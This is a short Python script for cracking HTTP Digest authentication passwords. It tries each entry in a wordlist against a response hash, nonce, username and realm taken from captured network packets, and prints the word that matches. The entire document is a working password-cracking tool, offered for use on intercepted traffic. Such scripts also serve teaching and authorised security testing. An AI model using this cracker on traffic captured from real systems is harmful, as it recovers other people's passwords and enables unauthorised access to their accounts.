Basic MD5 dictionary attack on digest HTTP authentication methods - variables should be filled-in with captured packets

http_auth_digest_dict_attack.py

import hashlib

extracted = 'known_auth_hash'
nonce = 'known_nonce_hash'

user = 'known_username'
realm = 'known_realm'
uri = '/image.png'
method = 'GET'

with open('words.txt', 'r') as file:
  for line in file:
    line = line.strip()

    ha1 = hashlib.md5((user+':'+realm+':'+line).encode('utf-8')).hexdigest()
    ha2 = hashlib.md5((method+':'+uri).encode('utf-8')).hexdigest()
    response = hashlib.md5((ha1+':'+nonce+':'+ha2).encode('utf-8')).hexdigest()

    if response == extracted:
      print('success! word was:', line)
      break